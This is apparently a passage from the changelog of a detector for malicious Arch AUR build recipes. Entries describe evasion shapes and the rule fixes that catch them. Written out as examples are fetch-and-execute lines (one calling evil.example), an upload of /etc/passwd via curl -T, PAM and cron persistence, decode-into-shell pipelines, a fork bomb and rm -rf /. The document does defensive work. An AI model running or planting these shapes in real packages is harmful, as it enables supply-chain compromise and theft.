/tmp,/var/tmpor/dev/shm. Those directories are writable by everyone, so whatever the config names can be replaced by any local user between the package being installed and the config being read - and the config is read as root for a unit, a PAM line or a cron entry.
It is both halves at once: an attacker shipping this is arranging for
their own planted file to run, and a maintainer shipping it by accident
has handed the same lever to anyone with a shell on the machine. The
target is never in the diff, which is why every rule that looks for a
payload found nothing - the observable is the destination. Zero
occurrences in the benign corpus; build-time use of /tmp as scratch
space needs both halves on one line and stays quiet.
-
A heredoc body is content, not a shell assignment.
cat > "$pkgdir/…/e.service" <<EOFwith anExecStart=payload inside was folded away as an assignment and never matched - the same defect the config-directive fix addressed for a unit file shipped whole, reappearing for one generated by the recipe. Inside a heredoc the text is content whatever the enclosing file is, so the distinction now applies to a region as well as to a file. -
A value pulled out of a data file and handed to a shell.
jq -r .cmd cfg.json | bashis the same shape as X001's decoder arms with a query in place of an algorithm: the field lives in a JSON file no rule reads, so what executes is chosen by the data rather than written in the recipe, and a reviewer sees a config lookup.yq,tomlq,xmlstarlet sel,xmllint --xpath,sqlite3 .readand thejson.load/JSON.parseinterpreter forms join the same arm. Reading a data file without running the result stays quiet. -
A hook flag carries code like an environment variable does. X014's carrier is "a setting whose value is code", and a command-line flag is the same carrier with a different spelling:
restic --option pre-exec=,borg --pre-hook,rsync -e "ssh -o ProxyCommand=…". The tool runs the value; the recipe only names it. -
KEY=valuemeans two different things in two kinds of file. In a shell file the value goes into the variable table and is matched where it is used, so folding the line away is right. In a systemd unit or a.desktopfile there is no later use - the value is the command - and folding it away removed the line from matching altogether:ExecStart=/bin/sh -c "curl ... | bash"produced no candidate at all, so no resolved rule ever saw it.
That one root cause accounts for most of an audit family spanning seven
rounds - config-carried command values in systemd units, .desktop files,
rsyslog, syslog-ng, dnsmasq, xinetd, logrotate, NetworkManager dispatcher
scripts and cron entries. The fix is a file test, not fifty directive
names: outside a shell file, a KEY= line stays a candidate.
-
Authentication and session hooks are persistence. R054 gained
pam.d,NetworkManager/dispatcher.d,xinetd.d,init.d/rc.d,rc.localandlogrotate.d: a PAM line runs on every authentication, a dispatcher script on every network change, an xinetd entry on every connection. Each appears in zero of the 3,246 benign diffs - a package that needs one ships it as a declared source file, which R054 reads either way. -
A redirect makes a line a write, not a message.
echo "session optional pam_exec.so /opt/e.sh" >> "$pkgdir/etc/pam.d/…"was classified as something addressed to a reader, which is how a recipe ordinarily appends to a system config. The first attempt searched the whole line for>and put back a false positive this changelog already records -echo "==> sudo pacman -S qemu"contains one as punctuation. The check now looks only outside quotes, and is a scan rather than a regex: the obvious pattern backtracks catastrophically with no redirect present, at 942 ms on a full-length line. -
Tracking what cannot be read. The upstream-payload gap is real: a checksummed tarball's bytes are not in the diff, so a recipe can look untouched while the code it builds is replaced. What is in the diff is the carrier's identity, and a change to that under a stable version is the observable form of the swap. R079 already applied that reading to a git ref and C001 to a checksum; three carriers had no such claim.
C008 (HIGH) claims a submodule gitlink or a Git-LFS object id
moving while pkgver does not - each names content the repository does not
contain, so moving one is a content change with no content in the diff.
C009 (INFO, weight 0) reports the same move alongside a version bump, so
the pair is visible rather than only the alarming half.
The third carrier needed no new reading at all. git emits no diff body for a binary, so a committed ELF being replaced produced an empty diff and R118 reported the same thing either way - it claims the file's presence, not its identity. A git blob id is a content hash and both trees are already open, so comparing them answers "did this file change" exactly without opening either version. Replaced fires; untouched and newly-added stay silent.
This does not close the upstream gap, it changes what the gap costs: a swap must now happen either under a new version, where a reader is looking, or under a stable one, where it is claimed. A first analysis has no previous identity to compare against, and a legitimate release containing a payload is indistinguishable from an ordinary update - those remain out of reach by construction.
-
X015: work scheduled to run after the build. A package declares units and timers as files, which pacman installs and an administrator enables; R054 claims those and a reader can see them. Running
crontab -,systemd-run,at,incrontaborsystemctl startduring the build is a different act - it registers work on the machine doing the building, now, outside anything pacman records or can remove. The scheduled command is usually a path the recipe just wrote, so the chain reads as fetch, write, arrange to run later, and every arm of it stopped at R061's undeclared-fetch HIGH because the run never happens on a line any execution rule reads.systemctl enableis deliberately absent: an.installscriptlet enabling its own unit is ordinary packaging. -
A driver's command argument is still an execution.
expect -c "spawn bash s.sh",script -qfc "bash s.sh",tmux new-session -d "...",screen -dmS x bash s.sh,find ... -exec bash {} +andxargs -I{} bash {}all run a command the execution patterns never saw, because what they matched was the driver's own name. The command text is now re-scanned with the same vocabulary - once, not recursively, since a driver running a driver is not a shape worth unbounded re-entry on attacker text. Forfindthe{}resolves through the-namepattern; forxargsit resolves through the left-hand side of the pipe, because a bare*would name every file and so claim nothing about any of them. -
Executing from a clone pairs with the clone. A checkout names a directory, and everything under it came from the remote, so the pairing is by prefix rather than by filename:
git clone URL rthenbash r/run.shis a fetch and an execution of what it fetched.make -C rneeded one step more --Chad been excluded from the implicit-input arm on the reasoning that it "names the input explicitly", but it names a directory, not a file, so the implicit input still applies relative to it. -
Container and object stores were the widest remaining blind spot.
docker pull evil/img && docker run evil/imgfetches a filesystem and executes its entrypoint;snapandflatpakinstall and then run confined applications;helmapplies charts that carry hooks;lxc launchstarts a container from an image. None of them names a URL, which is why the fetch inventory never saw them - but "resolve a name from a registry and run what comes back" is exactly what X011 already claims, so they belong there.
The object stores are the same fact with a different notation: s3cmd get
s3://…, aws s3 cp, rclone copy remote:/…, ipfs get <cid>,
git lfs pull. Where the address carries a scheme, R061 attributes it as
before. Where it is opaque - a content identifier, a remote name - there is
no URL to quote, so the honest claim is the pairing: the fetch writes a
file and the next line runs it, which R137 now sees because these clients
name their destination positionally or with -o.
-
Fullwidth Latin is a whole homoglyph alphabet.
curlrenders as the real name and executes as one that does not exist. U+FF01-U+FF5E folds onto ASCII by a fixed offset of 0xFEE0, and the confusable table listed only the handful of individual lookalikes that had been reported. Generated rather than enumerated, because the mapping is arithmetic and ninety-four hand-written entries invite one to go missing. It now scores the same 60 as the Cyrillic spelling that was already caught. -
X014: an environment variable whose value is code. X012 covers a toolchain path redirected into the source tree - which binary the next compile step invokes. This is the other half.
BASH_ENVandENVare sourced by every non-interactive shell that bash or sh starts, so setting one makes every laterbash -c, every sub-make recipe line and every helper script run the named file first;PROMPT_COMMAND,PS0andPS4are evaluated as commands;BASH_FUNC_x%%smuggles a whole function through the environment;GIT_SSH_COMMAND,LESSOPENandLD_AUDITare run by the tools and the loader that read them. The assignment is the execution. It stands down on the inert values that make one of these quiet rather than active (PAGER=cat,EDITOR=true), and none of the covered variables appears in the benign corpus. -
A
forloop was only the most visible binding. The positional form (setwith a"$srcdir"/*.shargument list) puts the same glob into$1and$@,A=(*.sh)into an array cell, andmapfile -t A < <(ls *.sh)fills one from a pipeline - and the execution isbash "$1",bash $@orbash "${A[0]}". Every one of those scored zero while theforspelling scored 85. Two things had to change: the binding forms, and the fact that bindings were computed per line when the binding and the execution are two statements - so a one-liner was the only shape that could ever resolve. -
bash -c "$E"whereEwas assigned earlier. The same dynamic payload asbash -c "$(...)"with the substitution moved one line up; R040 saw only the inline form. A bare$NAMEargument is dynamic too, and what reaches the pattern unresolved is precisely what the tokenizer could not read. -
Run-a-remote-module verbs.
cargo script <url>,bun x <url>,pkgx <url>,uvx <url>andnix runfetch and execute in a single word with no install step to notice - the one-shot runner class again, one ecosystem further on. -
A sandbox is a wrapper like any other.
bwrap --ro-bind / / bash s.shexecutess.shexactly asbash s.shdoes, and the fetch that wrote it paired with nothing -chroot,bwrap,firejail,nsjail,unshare,prootand the container entrypoints all left the chain at 50. They take positional arguments (chroot /tmp/root,bwrap --ro-bind / /), so the flags-only wrapper form could not reach the executor past them; the vocabulary now carries both shapes.
This was the third time a second copy of a shared list drifted:
delivery._EXEC_PREFIX was its own wrapper inventory, so additions to
config.EXEC_WRAPPER reached R001's pipe arm and not R137's pairing. It
reads the shared definition now, and a test asserts it.
- A keyring is a trust root. X013 gains
gpg --import,--recv-keys,pacman-key --add,apt-key addandrpm --import: importing a key makes every later signature check pass against it, which is the same substitution as replacing a CA bundle with verification left switched on, so it reads as diligence.
It stands down on the pattern a signature-verifying package actually uses -
gpg --homedir="$dir" --import "$srcdir/maintainer.gpg" - where the key
arrives through source=(), so makepkg checksums it and the diff shows any
change. The one benign-corpus hit was exactly that shape. A key fetched at
build time is not covered by that chain, and R061/R137 claim the fetch on
its own line.
-
ld.so.conf.dbelongs in the persistence surface after all. A directory added to the loader search path is code loaded into every process that starts afterwards. It was excluded in a first pass that measured five paths together and read the aggregate as if it applied to each; measured on its own it appears in zero of the 3,246 benign diffs.tmpfiles.d,udev/rules.dandmodprobe.dstay out on their own numbers. -
A loop was a blind spot in two separate places.
for f in *.sh; do bash "$f"; doneexecutes every committed helper, and neither half of that was read:dowas not treated as introducing a command, so the loop body produced no execution at all, and a loop variable or glob names a set of committed files, which an equality test against the manifest could never match. The literal spelling scored 85 and every loop spelling scored 0. Both are fixed -do/then/elseare command positions in shell grammar, a variable and a*are the same wildcard for matching, and a bare loop variable resolves through itsfor ... inbinding. A pattern that would match everything still claims nothing, because it names nothing. -
A directory paired with another directory. Two empty basenames compare equal, so
install -d "$pkgdir/usr/share/icons/"and an unrelated/opt/read as "writes /usr/share/icons/ and then executes it" - a Critical on a package installing icons. A directory is not a payload whichever verb created it, and the filter is applied once for every write arm rather than guarded per arm. -
An upload was described as a download. R061 claimed
curl -T /etc/passwd ftp://hostas an undeclared download, which is the wrong direction for the one operation that takes data off the machine; R087 read a host list only, so an upload anywhere but a drop host was never claimed as one. R087 gains a second condition - and deliberately not "any host":tests/test_gap_rules.pypins the design principle that the rule is "defined by an auditable host list, not by a guess about what an endpoint is for", so the addition is a second auditable list, of paths no build artifact lives at (/etc/,~/.ssh/,$HOME/,/root/,/proc/). A build sends nothing off the machine; one reading from outside its own tree is not uploading a build artifact.curl -F [email protected] https://ci.example.comstays quiet under both. -
A
NameErroron the full-AUR property path. A sweep replacing.splitlines()with the tokenizer'ssplit_lines()renamed the receiver instead of the call:new_pkgbuild.splitlines()becamenew_split_lines(pkgbuild). That is a live crash on every property extraction with no.SRCINFOto prefer - the fallback the function exists to provide - and nothing exercised it, so the suite stayed green. Found byruff's undefined-name check rather than by a test, which is the useful detail: a rename that produces a valid-looking call is invisible to everything that does not run it. -
R054 claimed cron and system units; the rest of the autostart surface was silent. A
.desktopinxdg/autostartstarts with the session, a systemd user unit starts with the user's login (no root required, and if anything more reliable than a system unit - it had been pinned in a test as non-persistence),profile.dandbash.bashrc.drun in every new shell,Xsession.dat graphical login, a D-Bus policy grants a service the right to be activated on demand, andsudoers.ddecides who may become root. All of them are claimed now.
Two things were deliberately left out after measuring. /usr/share/
applications is where every GUI package puts its menu entry - it runs when
the user clicks it, which is not persistence - and tmpfiles.d,
sysusers.d, udev/rules.d, modprobe.d and ld.so.conf.d are what
ordinary driver and library packages ship; including them fired on 30
benign packages and would have made the rule mean "this package installs
files".
Widening it also exposed that the rule matched a path mention rather than
a write: if [[ -f /etc/profile.d/cuda.sh ]] tests for a file rather than
planting one. A write verb is now required, which removed a pre-existing
false positive - the benign flag rate ends one below where it started.
- Verification was checked on one checksum array out of seven.
detect_checksum_changesreadsha256sumsalone, on the reasoning that it is makepkg's default. makepkg verifies with whichever array the package declares, and modern AUR packages increasingly shipb2sums, so the default was becoming the minority case:b2sums=('SKIP')disabled verification and reportedunchanged, which is R004 not firing at all. Every array counts now, and a SKIP anywhere wins over a hash elsewhere - the array carrying SKIP is the one that stopped verifying a source.
Widening it exposed a second defect underneath. The justification checks
(is_skip_justified) anchored on added lines, so a -git package whose
source=(git+...) sat on an unchanged context line had its mandatory SKIP
read as unjustified. That was invisible while only sha256sums was read,
because these packages carry b2sums or md5sums. A VCS source is a fact
about the package whether or not this diff changed the line; removals still
justify nothing. Net effect on the locked benign corpus: 26 spurious HIGHs
became 6, and those six are genuine - remote tarballs from deb.debian.org,
dl.discordapp.net and GitHub releases with verification switched off.
Flag rate 377 -> 384.
-
A recipe that installs packages.
pacman -U ./evil.pkg.tar.zstinsidebuild()installs a package as root, scriptlets and all, andpacman -Sdownloads one first. R081 claims foreign package managers in install hooks; pacman is not foreign and a build function is not a hook, so this fell between the two - a recipe has no business installing packages, since makepkg resolvesdependsfor that. X011 covers them, and the local-path stand-down that mitigatespip install .deliberately does not apply: for the distribution's own tools a leading./means a local package installed as root, not an artifact this recipe just built. -
A companion referenced by a pattern was never read.
for i in 1 2 3; do bash r$i.sh; doneandfor f in *.shname a set of committed files, and companion selection tested for a literal name - so a payload split acrossr1.sh,r2.shandr3.shwas committed, executed, and never scanned. A variable and a*are the same wildcard for this purpose. A reference that would match everything (bash "$f"alone) selects nothing, because it names nothing. -
cvsand its root notation.cvs -d :pserver:host:/repo checkoutnames a remote in a form that is neither a URL nor an ssh address, and the client pattern swallowed the root between the verb and the command - so looking only at the text after the client found nothing. -
A build driver is an execution of its input file.
curl -o Makefile URLfollowed bymakefetches a script and runs it, and neither half was paired with the other:makematched no execution pattern, andMakefilesat in the benign-artifact exemption - which claims "this file came with the project" and was reading the filename instead of the provenance. The same correction the committed-configurecase needed.make -f zz.mk,cmake,ninjaandmesonresolve their input the same way. -
A fetch with no destination still writes a file.
wget URLsaves the URL's basename andcurl -O URLasks for exactly that, so the file the next line ran was never written down anywhere and R137 had nothing to pair.curl -Oalso takes no argument, and reading the URL after it as a destination produced a path likehttps:/e.x/x.sh. -
conflicts=had no counterpart toreplaces=. All three fields insert a package in front of a name the ecosystem relies on:providesandreplacesclaim to be it, andconflictsmakes pacman refuse to install it alongside - which removes the real package just as effectively.replaces=('firefox')scored HIGH andconflicts=('firefox')scored nothing. Symmetric now, with the own-variant suppression that the other two already had, and no change on the benign corpus. -
A heredoc's destination can be named on either side of the delimiter.
bash <<EOFputs it before andcat <<'EOF' | shputs it after; only the left half was read, so the piped form - which is how the shape is usually written - stayed classified as data. -
scp host:/x.shis a remote read. The user part is optional, and requiring@left the fetch unattributed while R137 paired the write with its execution. The host must carry a dot, or everymake target:reads as a remote. -
A comment was claimed as live code.
# curl ... | bashscored R001 CRITICAL and R061 HIGH - 85, a Critical band - on a line that runs nothing. Comments were filtered for raw-line rules byfilter_raw_linesand not for resolved ones.tests/test_injection_surface.pyhad pinned this explicitly as "pinned, not endorsed ... so that a change to it is a decision rather than a surprise"; this is that decision. A rule whose target is the reader rather than the shell opts back in withinclude_comments, which is what R012 and R013 do. -
A byte-order mark was a FATAL finding. R013 claims U+FEFF wherever it appears, so a PKGBUILD saved by an editor that writes a BOM scored 100/Critical - the maximum severity this tool has - for its encoding. A BOM is an encoding artifact when it opens a line and a zero-width character in code anywhere else, and mid-line stays claimed:
make\ufeffinstalldisplays as two words and runs as one. -
x=andx=''were different assignments. The value was required, so the empty form was never recorded - and bash expandsba${x}shtobash. X002 also gained the spliced form: every shape anchored the variable at the start of the word, so${D}urlwas claimed andba${x}shwas not. That is the only word-splitting spelling that runs;ba<TAB>shandba<U+3164>share "command not found", verified against bash itself. -
Companion selection required a literal name, and skipped
.install.npm installreads package.json without the recipe naming it, andcargo buildcompiles build.rs - the records whose contents actually run were exactly the ones excluded. A.installscriptlet runs as root and is the most consequential text in an AUR package; a hook committed in an earlier commit was never read, sopost_install() { curl ... | bash; }scored 15 for the attribute change and nothing for the payload. -
A path traversal read as a different directory. The shell does not collapse
..- the kernel does, when the file is opened - so"$pkgdir"/lib/../etc/cron.d/ywrites into/etc/cron.dwhile every rule anchored on$pkgdir/etc/cron.d/read a path into/lib. -
_NETWORK_FETCH_REwas quadratic. It paired a client with a URL across a lazy span, which on any line holding a client and no address retried every split point: a full-length hostile line measured 304 ms, and the regex-safety audit refused the pattern. Replaced by two anchored searches and a position comparison, which also let the address be an ssh remote (git clone [email protected]:r.git) rather than only anhttp(s)://URL. -
The decoder alphabet had one spelling per operation. X001 claimed base32/basenc/uudecode/openssl/xxd/tr and, after the previous entry, compression - on the reasoning that they "decode the same payload into the same shell". The zip family reads a member to stdout with verbs that look nothing like a decompressor flag, and decryption is decoding too:
unzip -p p.zip | bash,funzip,ar p,unrar p,gpg -dandgpg --decryptall intersected no rule at all.basencwas worse than a gap - its arm required--algorithmbefore-d, so reversing two flags on the same command took a CRITICAL to nothing. All now fire. -
The write tracker knew only what the shell itself does. R121/R124 recognised
cat,tee,printf,echoand shell redirects, so every other way of putting decoded bytes in a file left the write unseen and thebash s.shon the next line paired with nothing. Three distinct escapes, all now tracked: an output flag (openssl enc -d -in p.enc -out s.sh,gpg -d -o), a redirect from a producer that was not on the list (gzip -dc p.gz > s.sh,funzip,xxd -r,unzip -p), and an interpreter one-liner (python3 -c "open('s.sh','w').write(...)",node -e writeFileSync).dd of=X if=Yfailed for a third reason - the destination was read as the last token on the line, so the canonical GNU flag order was parsed as writing toif=Y.
The producer list is deliberately the decoder alphabet rather than "any
command that writes". make > build.log writes a file and is not a
payload, and -o is among the most overloaded flags there is: gcc -o
names an output, install -o root names an owner.
-
curl -Loandwget -qOnever paired with the execution._FETCH_OUTPUT_RErequired the output flag to stand alone, and the clustered forms are the ones people actually type. With an undeclared URL the R061 backstop still fired, but with a declared source R061 stands down and the whole fetch-then-execute chain ran under a score of 25. The cluster must end in the output letter, which is the one whose argument follows. -
An interpreter that decodes and executes in one expression.
python3 -c 'exec(b64decode("..."))',perl -MMIME::Base64 -e 'eval(...)'andnode -e 'eval(atob(...))'have no pipe for X001 to anchor on and no shell word for X002 to read - both the decode and the exec are inside the quoted script, which is the point of writing it that way. Covered now, including the leading-flag form (perl -MMIME::Base64 -e), because anchoring on the interpreter's next token would have made a module import an escape. -
An alias is a rename, and every fetch rule keyed on the name.
alias dl='curl -fsSL'followed bydl URL | bashremoved the downloader from R001, R010, R061 and R137 at once while bash ran the identical pipeline. The variable form (CMD=curl; $CMD ...) was already resolved by the tokenizer, so leaving aliases alone made the harder-to-read spelling the safer one. The tokenizer now builds an alias table beside the variable table and expands in command position only - bash expands an alias as the first word of a simple command, and expanding it in argument position would invent text the shell never produces.
It had to be added in two places. _resolve_added_lines and
tokenize_and_resolve_indexed are parallel resolvers, and the second is
what feeds every match_target = "resolved" rule including R001; fixing
one would have been the same defect the aliases exploit - a spelling one
path understands and the other does not.
-
A committed
configurewas exempt because of its name. R124's benign-artifact list says "this is the project's own build flow", which is true of an autotoolsconfigureinside the extracted tarball and false of one committed to the AUR repository and named in nosource=(). The exemption now asks where the file came from rather than what it is called. -
A stale
rules.tomlcost detection and only one command said so. The drift report added above was reachable only fromconfig sync-rules, which nobody runs unprompted.trustsight statusnow carries a "Rule patterns" row and, when patterns are stale, says what it costs: those rules detect less on this install than their documentation describes. -
A committed companion file over the read budget was dropped in silence, and one padded file starved every companion after it.
analyze_packagepromises that a companion's "committed content is scanned with the same rules"; pastMAX_COMPANION_BYTES(64 KiB) that stopped holding and nothing recorded it, so a payload in the tail of a committedMakefilescored identically to a package with no companions at all - which is what B2 forbids.
The skip was also a break, not a continue, and the budget was a single
pool drained in sort order. Since the attacker names both files, they choose
the order: a large benign aaa-pad consumed the budget and ended the loop,
and the payload in zz.mk was never read despite being tiny. Companions now
get an equal share of the same total budget, so no one file decides how much
the others get; an oversized file has its head read within that share instead
of being dropped whole; and anything cut raises a companion_truncated
coverage gap. Spends no more bytes than before.
A hardening test claiming "the oversized blob's data must never be read" had
been passing without ever reaching the size check - its fake tree was a list,
and _top_level_blob subscripts by name, so the function returned early
every time. Fixture fixed; the ordering it pins is now actually exercised.
- The list that silenced a rule was wider than the list that caught. R061
stands down when it believes R001 owns a line, and it made that call with an
executor vocabulary R001 had never seen:
curl url | ksh -ssilenced R061 and then fell straight through R001, turning a CRITICAL into a LOW. Six copies of the list existed - R001/R002 knewbash|sh|python|zsh|dash|busybox sh, R127 knewbash|sh|zsh|dash,_PIPE_TO_SHELL_REknew a sixth spelling -
and they had been edited separately. There is now one definition (
config.SHELL_EXECUTOR/SCRIPT_EXECUTOR/ANY_EXECUTOR), substituted into the rule TOML rather than transcribed into it, covering ksh, mksh, pdksh, yash, posh, ash, busybox ash, perl, ruby and node. All sixteen executors now score 65/High where seven of them scored 5-25. Benign corpus: R001, R002, R040 and R127 fire on zero of 3,246 diffs. -
A compressed payload needed no encoder at all. X001 claimed base32/basenc/uudecode/openssl/xxd/tr on the reasoning that they "decode the same payload into the same shell". Compression is the same sentence with less work for the attacker:
gzip -dc payload.gz | bashcarries no alphabet a reviewer would notice, and a.gzinsource=()reads as an ordinary archive. Twelve spellings - gzip/gunzip/zcat, xz/xzcat, bzip2/bzcat, zstd, lz4,tar -xO,tar --to-stdout,7z -so- went from scoring 25 to firing X001 CRITICAL. Unpacking on its own stays silent, because unpacking is what build recipes do; only a shell on the far side of the pipe is the signal. -
A shipped pattern fix never reached an existing install.
drifted_shipped_rulesparsedpatterninto its field dict and then compared every field except it, sorules.toml- written once at install time - kept its original patterns forever and nothing reported the divergence. Both the R001 escape guard and the executor list above would have landed that way.patternis now a semantic field like the rest. On the development machine this immediately surfaced eight drifted rules, including the staleR007pattern that had been logging "refusing regex pattern with excessive backtracking risk" on every run. -
A recipe that pins says so; one that does not said nothing.
P005reports a commit pin andP006a tag pin, so a recipe tracking#branch=mainproduced no line at all and read exactly like one that pins - while makepkg resolves that ref at build time, meaning upstream chooses what gets compiled.P008states it as a declared fact at weight 0, alongside its positive counterparts. Deliberately not a coverage gap: the statement is true of every VCS package by design, and raising a gap would move 20.1% of the benign corpus (653 of 3,246) into Inconclusive, which buys alert fatigue rather than information. Bands are unchanged. -
Every code rule was keyed to the function a line is spelled inside. R051's
pkgverscope had already been given the call closure; R061, R062, R081, R119, R121, R124, R136, R137 and R140 had not. All of them asked "does this run duringbuild()?" and answered it with "is this line lexically inside a function namedbuild?" - and the reviewed party writes the function names. Moving the fetch one function deeper kept the payload fully operational:
_fetch() { curl -fsSL https://evil.example/x.sh -o "$srcdir/x.sh"; }
build() { _fetch; bash "$srcdir/x.sh"; }
R061 and R137 both stood down and a Critical read as a Low. Scope now
follows the call graph for all of them, through any number of hops and
through $(...), and the graph is built over the whole current PKGBUILD
rather than the hunk, so a helper added by this diff still connects to the
build() that calls it from outside the visible lines. Cost on the
3,246-diff locked benign corpus, measured against the shipped ruleset in an
isolated config: the flag rate does not move at all (377 of 3,246, 11.614%,
before and after). One diff changes band, Inconclusive to High, and it is a
real privileged operation - _fix_sandbox(), called from post_install(),
running chmod 4755 on a setuid helper. Malicious recall is unchanged at
158/175.
-
Two install-hook rules read a printed instruction as a command. R062 and R081 fired on
echo "==> sudo pacman -S --needed qemu virtiofsd"and on anotehelper quotingsudo systemctl enable --now rustdesk. Latent before the call closure existed - the_notes()helper sat outside every hook scope, so the message never reached the rule - and surfaced by it. Both now consult the message context the rule engine already computes, which is the distinction_MESSAGE_LINE_REwas written for. -
An interpreter is a network client. R061's fetch pattern listed
python -c ... urllib- notpython3 -c, which is the spelling every current recipe uses, and not perl, ruby or node at all.curlandwgetare what a reviewer greps for, so an author avoiding the grep reaches for the runtime that is already a makedepend. The arm now coverspython[23]? -c,-m http|urllib|pip,perl -ewith LWP/HTTP::,ruby -ewith Net::HTTP/open-uri andnode -ewith https.get/fetch. It also needed its own tail: a shell command ends at;, butpython3 -c 'import urllib;urlretrieve(url)'puts a semicolon between the client and its URL as a matter of Python syntax, so sharing one[^|;&]tail restricted the interpreter arm to one-statement scripts. R137 learns the same shapes, including whereurlretrieve(url, path)puts what it downloaded, so an interpreter fetch pairs with the later execution of what it wrote. -
A heredoc into a shell was exempted as if it were data.
_heredoc_body_indicestreats a heredoc body as file content - correct forcat > x <<EOF, and the reason R121/R124/R136/R137 do not double-fire on a generated payload. Butbash <<'EOF'hands the body to a shell, and the body is then the script that runs, so wrapping the recipe in one turned four rules off for every line inside. The exemption is now decided per heredoc by where it goes. -
makeover a repo-committed Makefile executed undeclared code.makenames no file on the command line, so no execution pattern ever saw one, andmakesits in R124's benign-artifact exemption because almost every package runs it. The question is not the command but the file it reads: aMakefilecommitted to the AUR repository and absent fromsource=()is code with no checksum over it. R136 gained an arm for the implicit input ofmake,cmake,ninjaandmeson, gated on a tree manifest so it never guesses. All 14 diffs in the locked benign corpus that commit a build file declare it insource=(), and the arm fires on none of them. -
A committed payload larger than the read bound was invisible, and the run still reported as complete.
_collect_tree_filesskipped any blob over 512 KiB, on the reasoning that a committed payload is small. That is an assumption about the attacker, and R118 fires on a committed ELF - a payload binary is far likelier to be large than small.tree_analyzedmeanwhile reported True because some file had been read, so the incomplete walk presented as a complete one, which is exactly what B2 forbids. Large blobs are now streamed for their magic bytes, which tightens the memory bound from 512 KiB to 64 bytes, and the walk reports whether it read everything it was asked for.
Streaming has a trap of its own that the regression test caught: pygit2's
BlobIO feeds from a worker thread through a Queue(maxsize=1) and
close() joins that thread, so reading 64 bytes of a 1 MiB blob and closing
parks the writer on a full queue forever. The first version of this fix was
therefore a hang that any committed 1 MiB file would trigger - a worse
denial of service than the gap it closed. The stream is drained before it is
closed, and a blob past a 64 MiB ceiling is left unread and reported
unread rather than paid for in linear time the attacker chooses.
-
Three CRITICAL rules could be walked past by typing.
S001(fork bomb),S002/S003(rm -rf /) and crossfire'shome-defaultescape each required their pattern pieces within a bounded gap -{0,120},{0,200},{0,80}. The bound was there for backtracking safety, but it is also an instruction::(){ true; ...x40 :|:& };:is the same fork bomb, and it read as clean. Each span is now unbounded, with a lookahead assertion where the span must give ground and a possessive quantifier where it must not, and the growth was measured linear over 4x input rather than assumed. -
A named rule scope was the reviewed party's to choose.
scope = ["pkgver"]asks whether code runs duringpkgver, but it was answered with whether the line sits lexically inside a function spelledpkgver. Moving the fetch into a helper -_v() { curl ...; }called frompkgver()- silenced R051, a rename as an evasion and the same shape as thepackage_x-binscope hole fixed earlier. Scope now follows the call graph transitively, and it changed the fire rate on the 3,246-diff locked benign corpus by exactly zero diffs. -
A stage that failed reported the same thing as a stage that ran and found nothing. Every swallowing handler in
analysis/returned a neutral value on error, which is indistinguishable from "no finding here": an unbalanced quote madeshlexrefuse a wholesource=array, a git walk that raised fell back to comparing HEAD against HEAD - an empty diff, in which every rule matches nothing - and the verdict still read UNFLAGGED. Nine such handlers now record astage_degradedcoverage gap, which forbids an unflagged verdict.
Making the gap mean something required fixing what it exposed. Two shapes
tripped it on ordinary recipes: a multi-line source=() array with trailing
backslash continuations, and a # comment inside such an array containing
an apostrophe (# makepkg doesn't understand SSH signatures). Both are
handled, and one handler was removed outright - data.decode(errors=
"replace") cannot raise, so the except around it could only ever have
hidden a bug. The gap fires on 0 of 3,246 benign diffs.
-
Two render paths sanitised untrusted text with the weaker helper.
safe_textis explicit that the boundary is where a value is rendered, so stored evidence and JSON stay byte-exact. Two paths usedunicode.strip_ansiinstead, which removes CSI sequences and leaves C1 control bytes, BEL and newlines behind.\x9b2Jis the 8-bit spelling of "clear the screen", so an attacker-derived finding reason could repaint the terminal, which is precisely the forgerysafe_textwas written to prevent. Both spellings look like sanitising at a glance, which is why this survived review. -
Federated IOC values were passed to Rich as bare strings.
ioc.pydid not importcleanat all and rendered the indicator value, its source and its confidence directly. Rich parses a barestras markup, so an entry containing[/]raisesMarkupErrorand aborts the whole table: one hostile indicator in an imported baseline madeioc listunusable rather than merely ugly. IOC federation means third parties supply these fields by design. Values are nowcleaned and wrapped inText.
A new untrusted text is sanitised where it is rendered gate checks both
properties across every CLI module, on calls and imports rather than on
the substring so that a comment explaining the rule does not trip it.
- Three rule patterns did not exist until match time, and nothing audited
them. R013, R047 and R048 carry a placeholder in the TOML and are
assembled when
apply_rulesruns: R013 from Unicode data, R047 and R048 from operator config. That made them invisible to all three of the audit's collection strategies at once, since they are not a TOML literal, not are.compile("literal")in the source, and not a module-levelre.Pattern. R013 is the FATAL homoglyph rule, and because R047/R048 are derived from config, a config edit could have introduced a slow pattern with no gate positioned to notice.
Generation moved into rules.resolve_generated_patterns, which
apply_rules and the audit both call, so the audit checks the pattern
that actually executes rather than the placeholder. Auditing a
placeholder is worse than not auditing: it reports coverage it does not
have. All three measured fast and needed no change.
- The regex audit was blind to 18% of the patterns it was meant to cover.
It collected patterns by walking the AST for
re.compile("literal"), so a pattern assembled from parts,re.compile(_WRITE_CMD_START + r"tee ..."), is aBinOprather than aConstantand was skipped in silence. That was 44 of 246 patterns, concentrated insabotage(11),persistence(6) andcrossfire(4): the modules built from shared command-start prefixes, where one bad component would have spread across many rules unchecked.
The audit now also enumerates every compiled pattern reachable from an
imported module, which is the only way to see a pattern whose text does
not exist until it is built. Coverage went from 233 to 255 distinct
patterns, deduplicated by pattern text so the count means something, and
the audit applies the same growth check rules._compiled does.
A new every live regex is audited gate asserts the coverage rather
than the verdict, because a gate that passes because it never looked is
the failure this codebase keeps finding. All three previously unaudited
patterns that exceeded 10 ms on a full line were measured and are linear,
a large constant rather than a complexity bug, so nothing needed fixing
once they were finally visible.
- Three shipped patterns were quadratic, and the probes could not see it.
BACKTRACK_REPSis 22, which is tuned for exponential backtracking: 2^22 is millions of steps and shows instantly. Polynomial cost is invisible there - 22 squared is 484 steps - while rules run against lines up torules.MAX_RULE_LINE_BYTES(8192), where the same pattern costs 67 million. Every one of these passed the short probes and the CI audit:
| Pattern | Cost on one 8 KiB line | After |
|---|---|---|
novelty._VERSION_RE, \d+(?:\.\d+){1,} |
3215 ms | 2.2 ms |
build._SUDO_CMD_START_RE, two adjacent \s* |
1113 ms | 0.6 ms |
novelty._TRAILING_RE, /+$ |
596 ms | replaced with rstrip |
sabotage._FORK_BOMB_DEF_RE |
20 ms | 5.7 ms |
A 5 MiB diff of full-length lines is ~640 lines, so the version matcher
alone was about 36 minutes of CPU for one package - under every cap
added this release. Aggregate worst case across all patterns fell from
4870 ms to 143 ms. The fixes are bounded repetition (\d{1,32}),
possessive quantifiers, collapsing an ambiguous \s*\s* pair, and one
regex deleted in favour of str.rstrip; behaviour is unchanged in every
case, checked against the shapes each rule exists to match.
